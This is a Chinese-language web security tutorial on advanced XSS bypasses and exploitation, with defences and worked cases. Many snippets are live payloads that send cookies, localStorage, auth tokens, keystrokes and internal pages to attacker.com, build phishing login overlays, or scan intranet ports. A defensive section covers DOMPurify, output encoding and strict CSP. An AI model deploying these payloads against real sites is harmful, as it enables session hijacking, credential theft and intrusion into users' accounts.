Day-036-XSS 进阶绕过与利用

# Day 35: XSS 进阶绕过与利用 - 高级绕过技术/利用方式/防护方案

> Web 安全系列第 5 天 | 预计阅读时间：35 分钟 | 难度：★★★★☆

---

## 清单 目录

1. [XSS 绕过技术](#xss-绕过技术)
2. [高级利用方式](#高级利用方式)
3. [WAF 绕过](#waf-绕过)
4. [CSP 绕过](#csp-绕过)
5. [防护方案](#防护方案)
6. [实战案例](#实战案例)
7. [总结与思考](#总结与思考)
8. [参考资料](#参考资料)

---

## XSS 绕过技术

### 编码绕过

**URL 编码**：
```javascript
// 原始 payload
<script>alert(1)</script>

// URL 编码
%3Cscript%3Ealert(1)%3C/script%3E

// 双重 URL 编码
%253Cscript%253Ealert(1)%253C/script%253E
```

**HTML 实体编码**：
```javascript
// 十进制实体
&#60;script&#62;alert(1)&#60;/script&#62;

// 十六进制实体
&#x3C;script&#x3E;alert(1)&#x3C;/script&#x3E;

// 混合编码
&#x3c;scr&#x69;pt&#62;alert(1)&#60;/script&#62;
```

**Unicode 编码**：
```javascript
// Unicode 转义
\u003cscript\u003ealert(1)\u003c/script\u003e

// Unicode 变体
\u{3C}script\u{3E}alert(1)\u{3C}/script\u{3E}
```

**Base64 编码**：
```javascript
// data URI + Base64
<script src="data:text/javascript;base64,YWxlcnQoMSk="></script>

// 解码：YWxlcnQoMSk= → alert(1)
```

### 标签绕过

**img 标签**：
```html

<img src=x onerror=alert(1)>

<img src=1 onerror=alert(1)>

<img srcset=x onerror=alert(1)>
```

**svg 标签**：
```html

<svg onload=alert(1)>

<svg><script>alert(1)</script></svg>

<svg><use href="data:image/svg+xml,<svg onload='alert(1)'></svg>"></use></svg>
```

**input 标签**：
```html

<input onfocus=alert(1) autofocus>

<input onblur=alert(1) value="click me">
```

**body 标签**：
```html

<body onload=alert(1)>

<body onpageshow=alert(1)>
```

**video/audio 标签**：
```html

<video><source onerror=alert(1)>

<video onloadedmetadata=alert(1) src=x>
```

### 事件绕过

**常见事件处理器**：
```html
onerror=alert(1)
onload=alert(1)
onclick=alert(1)
onmouseover=alert(1)
onfocus=alert(1)
onblur=alert(1)
onchange=alert(1)
onsubmit=alert(1)
onreset=alert(1)
onselect=alert(1)
```

**罕见事件处理器**：
```html
ontoggle=alert(1)     // details 标签
onanimationend=alert(1)
ontransitionend=alert(1)
onwheel=alert(1)
ondrag=alert(1)
ondrop=alert(1)
onscroll=alert(1)
```

**事件组合**：
```html

<div onclick=alert(1) onmouseover=alert(2)>

<input onfocus=alert(1) onblur=alert(2)>
```

---

## 高级利用方式

### 数据窃取

**Cookie 窃取**：
```javascript
// 基本窃取
<script>
  fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

// 编码后发送
<script>
  fetch('https://attacker.com/steal?c=' + btoa(document.cookie));
</script>
```

**本地存储窃取**：
```javascript
<script>
  // localStorage
  var data = JSON.stringify(localStorage);
  fetch('https://attacker.com/steal?ls=' + btoa(data));
  
  // sessionStorage
  var data = JSON.stringify(sessionStorage);
  fetch('https://attacker.com/steal?ss=' + btoa(data));
</script>
```

**表单数据窃取**：
```javascript
<script>
  // 监听表单提交
  document.querySelector('form').addEventListener('submit', function(e) {
    var formData = new FormData(this);
    fetch('https://attacker.com/steal', {
      method: 'POST',
      body: formData
    });
  });
  
  // 键盘记录
  document.addEventListener('keypress', function(e) {
    fetch('https://attacker.com/keylog?k=' + e.key);
  });
</script>
```

### 会话劫持

**会话令牌窃取**：
```javascript
<script>
  // 窃取认证 token
  var token = localStorage.getItem('auth_token') || 
              document.cookie.match(/token=(.*?);/)?.[1];
  fetch('https://attacker.com/hijack?t=' + token);
</script>
```

**CSRF + XSS 组合**：
```javascript
<script>
  // 使用受害者身份执行操作
  fetch('/api/change-email', {
    method: 'POST',
    credentials: 'include',
    headers: {'Content-Type': 'application/json'},
    body: JSON.stringify({email: 'attacker@evil.com'})
  });
</script>
```

### 钓鱼攻击

**页面覆盖**：
```javascript
<script>
  // 覆盖整个页面
  document.write(`
    <html>
      <head><title>Login</title></head>
      <body>
        <form action="https://attacker.com/collect" method="POST">
          <input name="username" placeholder="Username">
          <input name="password" type="password" placeholder="Password">
          <button type="submit">Login</button>
        </form>
      </body>
    </html>
  `);
</script>
```

**弹窗钓鱼**：
```javascript
<script>
  // 模拟系统弹窗
  var popup = window.open('', 'Login', 'width=400,height=300');
  popup.document.write(`
    <form action="https://attacker.com/collect">
      <h3>Please Login</h3>
      <input name="user" placeholder="Username">
      <input name="pass" type="password">
      <button>Login</button>
    </form>
  `);
</script>
```

### 内网探测

**端口扫描**：
```javascript
<script>
  // 基于 Image 加载时间的端口扫描
  function scanPort(ip, port) {
    var img = new Image();
    img.onload = function() { console.log(ip + ':' + port + ' open'); };
    img.onerror = function() { console.log(ip + ':' + port + ' closed'); };
    img.src = 'http://' + ip + ':' + port + '/favicon.ico?t=' + new Date().getTime();
  }
  
  // 扫描常见端口
  ['80', '443', '22', '3306', '5432'].forEach(function(port) {
    scanPort('192.168.1.1', port);
  });
</script>
```

**内网资源访问**：
```javascript
<script>
  // 访问内网管理界面
  fetch('http://192.168.1.1/admin')
    .then(r => r.text())
    .then(html => fetch('https://attacker.com/collect?d=' + btoa(html)));
  
  // 访问内网 API
  fetch('http://internal-api.company.com/users')
    .then(r => r.json())
    .then(data => fetch('https://attacker.com/collect?d=' + JSON.stringify(data)));
</script>
```

---

## WAF 绕过

### 过滤绕过

**关键词拆分**：
```javascript
// script 标签拆分
<scr<script>ipt>alert(1)</scr</script>ipt>

// 字符串拼接
<script>eval('al'+'ert(1)')</script>

// 数组 join
<script>[].filter.constructor('alert(1)')()</script>
```

**大小写混合**：
```html
<ScRiPt>alert(1)</ScRiPt>
<SCRIPT>alert(1)</SCRIPT>
<script>alert(1)</script>
```

**空白字符绕过**：
```html

<img src=x onerror
=alert(1)>

<img src=x onerror	=alert(1)>

<img src=x onerror     =alert(1)>
```

**注释绕过**：
```html

```

### 上下文绕过

**字符串上下文**：
```javascript
// 闭合字符串
';alert(1);//

// 模板字符串
'};alert(1);//

// JSON 上下文
"};alert(1);//
```

**属性上下文**：
```html

<a href="javascript:alert(1)">

<iframe src="javascript:alert(1)">

<a href="data:text/html,<script>alert(1)</script>">
```

**CSS 上下文**：
```html

<div style="background:url(javascript:alert(1))">

<div style="width:expression(alert(1))">

<style>@import 'javascript:alert(1)';</style>
```

---

## CSP 绕过

### CSP 基础

**CSP 指令**：
```
Content-Security-Policy: 
  default-src 'self';
  script-src 'self' https://trusted.com;
  style-src 'self' 'unsafe-inline';
  img-src 'self' data:;
  connect-src 'self';
  frame-ancestors 'none';
```

**CSP 级别**：
```
CSP Level 1: 基础指令
CSP Level 2: 添加 script-src 'unsafe-inline' nonce
CSP Level 3: 添加 strict-dynamic, worker-src 等
```

### CSP 绕过技术

**JSONP 端点**：
```javascript
// 查找 JSONP 端点
<script src="https://target.com/api/callback?callback=alert(1)"></script>

// 常见 JSONP 端点
/api/jsonp?callback=
/json/callback?cb=
/search?q=&callback=
```

**AngularJS 绕过**：
```html

<div ng-app>
  <div ng-controller="constructor">
    <div ng-repeat="x in 'alert(1)';">
      {{constructor.constructor('alert(1)')()}}
    </div>
  </div>
</div>
```

**Flash 绕过**：
```html

<embed src="malicious.swf?callback=alert(1)">

<embed src="data:application/x-shockwave-flash;base64,[payload]">
```

**report-uri 滥用**：
```javascript
// 利用 report-uri 发送数据
<meta http-equiv="Content-Security-Policy" 
      content="default-src 'self'; report-uri https://attacker.com/csp-report">

// 触发 CSP 违规报告，数据发送到攻击者服务器
```

### CSP 完全绕过场景

**宽松配置**：
```
// 危险配置
script-src 'self' 'unsafe-inline' 'unsafe-eval' https://*;

// 可利用
<script src="https://attacker.com/malicious.js"></script>
```

**通配符滥用**：
```
// 配置
script-src 'self' *.google.com;

// 绕过
<script src="https://attacker.google.com/malicious.js"></script>
```

**协议绕过**：
```
// 配置
script-src https:;

// 绕过 (如果页面是 HTTPS)
<script src="https://attacker.com/malicious.js"></script>
```

---

## 防护方案

### 输入验证

**白名单验证**：
```javascript
// 只允许字母数字
function sanitize(input) {
  return input.replace(/[^a-zA-Z0-9]/g, '');
}

// 只允许特定 HTML 标签
function sanitizeHTML(input) {
  const allowedTags = ['b', 'i', 'em', 'strong', 'a'];
  // 使用 DOMPurify 等库
  return DOMPurify.sanitize(input, {ALLOWED_TAGS: allowedTags});
}
```

**输出编码**：
```javascript
// HTML 实体编码
function htmlEncode(str) {
  return str.replace(/&/g, '&amp;')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(/"/g, '&quot;')
            .replace(/'/g, '&#x27;');
}

// URL 编码
encodeURIComponent(userInput);

// JavaScript 编码 (在 JS 上下文中)
JSON.stringify(userInput);
```

### HTTP 头部防护

**CSP 配置**：
```
// 严格 CSP
Content-Security-Policy: 
  default-src 'none';
  script-src 'self';
  style-src 'self';
  img-src 'self' data:;
  connect-src 'self';
  frame-ancestors 'none';
  base-uri 'self';
  form-action 'self';

// 带 nonce 的 CSP
Content-Security-Policy: 
  script-src 'nonce-随机值' 'strict-dynamic';
```

**其他安全头部**：
```
// 防止 MIME 嗅探
X-Content-Type-Options: nosniff

// 防止点击劫持
X-Frame-Options: DENY

// XSS 过滤器 (旧浏览器)
X-XSS-Protection: 1; mode=block

// Referrer 控制
Referrer-Policy: strict-origin-when-cross-origin

// 权限策略
Permissions-Policy: geolocation=(), microphone=(), camera=()
```

### 框架防护

**React 自动转义**：
```jsx
// React 默认转义
<div>{userInput}</div>  // 安全

// 危险使用 dangerouslySetInnerHTML
<div dangerouslySetInnerHTML={{__html: userInput}} />  // 需要验证
```

**Vue 自动转义**：
```vue

<div>{{ userInput }}</div>

<div v-html="userInput"></div>  
```

**Angular 自动转义**：
```html

<div>{{ userInput }}</div>

<div [innerHTML]="userInput"></div>  
```

---

## 实战案例

### 案例 1: 存储型 XSS 窃取管理员会话

**漏洞场景**：
```
目标：论坛应用
位置：用户签名档
过滤：仅过滤 <script> 标签
```

**利用过程**：
```html

<img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)">

```

**修复方案**：
```javascript
// 使用 DOMPurify 清理 HTML
import DOMPurify from 'dompurify';

const cleanHTML = DOMPurify.sanitize(userSignature, {
  ALLOWED_TAGS: ['b', 'i', 'u', 'a'],
  ALLOWED_ATTR: ['href']
});
```

### 案例 2: CSP 报告 URI 滥用

**漏洞场景**：
```
目标：电商网站
CSP: report-uri https://csp-report.example.com
问题：report-uri 可被外部控制
```

**利用过程**：
```html

<meta http-equiv="Content-Security-Policy" 
      content="default-src 'self'; report-uri https://attacker.com/collect">

<script src="https://evil.com/malicious.js"></script>

```

**修复方案**：
```
// 使用 report-to 替代 report-uri
Content-Security-Policy: 
  default-src 'self'; 
  report-to csp-endpoint

Report-To: {
  "group": "csp-endpoint",
  "max_age": 10886400,
  "endpoints": [{"url": "https://csp-report.example.com"}]
}
```

### 案例 3: DOM XSS 通过 postMessage

**漏洞场景**：
```
目标：单页应用
漏洞：postMessage 未验证来源
代码：window.addEventListener('message', (e) => {
  document.innerHTML = e.data;
});
```

**利用过程**：
```javascript
// 1. 攻击者页面
const targetWindow = window.open('https://target.com');
targetWindow.postMessage('<img src=x onerror=alert(1)>', '*');

// 2. 目标页面接收并渲染恶意 HTML
// 3. XSS 触发
```

**修复方案**：
```javascript
// 验证消息来源
window.addEventListener('message', (e) => {
  // 严格验证来源
  if (e.origin !== 'https://trusted.com') return;
  
  // 安全处理数据
  document.textContent = e.data;  // 使用 textContent 而非 innerHTML
});
```

---

## 总结与思考

### 核心要点回顾

1. **绕过技术**：编码绕过、标签绕过、事件绕过
2. **利用方式**：数据窃取、会话劫持、钓鱼攻击、内网探测
3. **WAF 绕过**：关键词拆分、大小写混合、上下文绕过
4. **CSP 绕过**：JSONP 端点、AngularJS、Flash、宽松配置
5. **防护方案**：输入验证、输出编码、CSP、安全头部
6. **实战案例**：存储型 XSS、CSP 滥用、DOM XSS

### 深入思考

**XSS 的演变**：
- 传统 XSS 防护加强
- DOM XSS 成为主流
- CSP 普及但配置不当
- 框架自动转义减少 XSS

**攻防对抗**：
- 过滤技术不断提升
- 绕过技术持续创新
- 需要纵深防御
- 框架 + CSP + 验证多层防护

### 最佳实践

**开发者**：
- 使用现代框架 (React/Vue/Angular)
- 实施严格 CSP
- 输入验证 + 输出编码
- 使用安全库 (DOMPurify)

**安全人员**：
- 定期 XSS 扫描
- 手动渗透测试
- 监控 CSP 报告
- 关注新型绕过技术

---

## 参考资料

### 学习资源

- **OWASP XSS Prevention Cheat Sheet**: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
- **PortSwigger XSS Cheatsheet**: https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
- **XSS Payloads**: https://github.com/payloadbox/xss-payload-list

### 工具资源

- **DOMPurify**: https://github.com/cure53/DOMPurify
- **XSStrike**: https://github.com/s0md3v/XSStrike
- **BeEF**: https://github.com/beefproject/beef

---

*Day 35 完成 | XSS 进阶绕过与利用详解 | 字数：约 18,000 字*